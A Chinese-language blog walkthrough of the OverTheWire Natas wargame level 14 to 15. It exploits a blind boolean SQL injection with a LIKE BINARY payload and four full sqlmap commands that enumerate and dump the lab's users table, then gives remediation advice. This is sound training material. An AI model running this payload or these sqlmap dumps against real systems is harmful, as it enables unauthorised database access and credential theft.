iT邦幫忙

2023 iThome 鐵人賽

DAY 16
0

Info

Walkthrough

  • 存取網頁後使用帳號和上關獲取的密碼登入,有查詢使用者是否存在的功能
    • Imgur
  • 搜尋 natas16 得到 This user exists.,嘗試其他如 natas15 等則得到 This user doesn't exist.
    • Imgur
    • Imgur
    • Imgur
  • 點擊 View sourcecode 超連結查看後端 PHP 程式碼,根據註解得知 users 中存在欄位 password,型態為 varchar(64)
    • Imgur
  • 分析程式碼邏輯後畫成流程圖如下,和 Day 0x0F Natas Level 13 → Level 14 雷同,主要是「生成 SQL 查詢語句」時,未經任何驗證及過濾直接串接使用者輸入,但回顯的頁面只包含有 exists / doesn’t exist 兩種情況
    • Imgur
  • 透過上述已知資訊撰寫 Python 腳本枚舉密碼,使用 natas16" AND password LIKE BINARY "{已知 + 猜測}%" # 作為注入的 payload,其中 LIKE 用在 WHERE 判斷符合指定 pattern 的資料,而 % 代表出現零、一或多次的任意字,i.e., 以特定英數組合作為開頭的字串是否存在 password 欄位中。等待些許時間後成功獲得下題的登入密碼
    • Imgur

Note

  • Day 0x0F Natas Level 13 → Level 14 都是 SQL Injection 漏洞,此題回顯改成只有是或否兩種情況,因此無法直接獲得資料,雖增加了攻擊成本 & 複雜度 (此題是因為看得到後端原始碼得知查詢語句,且註解得知資料庫欄位,否則都需要先嘗試及枚舉),但仍可以透過一連串的海龜湯問答 (?) 枚舉出所有資料與資訊
  • 原本因為網路環境問題 sqlmap 會被阻擋,改成自己寫腳本結果變常常 timeout,所以加上例外處理,如果網路環境允許,可以考慮用工具比較省事
    1. 確定存在 SQLi 漏洞
    sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php" --string="This user exists" --auth-type Basic --auth-cred "natas15:密碼自行填入" --data "username=natas16*" -p username --charset "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" --level 5 --risk 3 --random-agent --batch
    
    Imgur
    2. 枚舉資料庫名稱
    sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php" --string="This user exists" --auth-type Basic --auth-cred "natas15:密碼自行填入" --data "username=natas16*" -p username --charset "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" --level 5 --risk 3 --random-agent --batch --dbs
    
    Imgur
    3. 枚舉資料表名稱
    sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php" --string="This user exists" --auth-type Basic --auth-cred "natas15:密碼自行填入" --data "username=natas16*" -p username --charset "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" --level 5 --risk 3 --random-agent --batch -D natas15 --tables
    
    Imgur
    4. 枚舉資料表內容
    sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php" --string="This user exists" --auth-type Basic --auth-cred "natas15:密碼自行填入" --data "username=natas16*" -p username --charset "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" --level 5 --risk 3 --random-agent --batch -D natas15 -T users --dump
    
    Imgur

Summary

  • 相關弱點:
  • 弱點原因:
    • 將未經驗證的使用者輸入,以字串串接的方式動態生成 SQL 查詢語句
  • 修補建議:
    • 取消 debug 參數等開發者的功能,避免洩漏可用資訊給攻擊者,並建立白名單驗證使用者輸入,透過 API 過濾及轉譯特殊字元,且如果評估可行的話,改採用參數化查詢的方式預先構建 SQL 語句,另建議立即更換密碼,以減少資訊洩漏的風險

Reference


上一篇
Day 0x0F Natas Level 13 → Level 14
下一篇
Day 0x11 Natas Level 15 → Level 16
系列文
Natas 網頁安全:從入門到放棄35
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言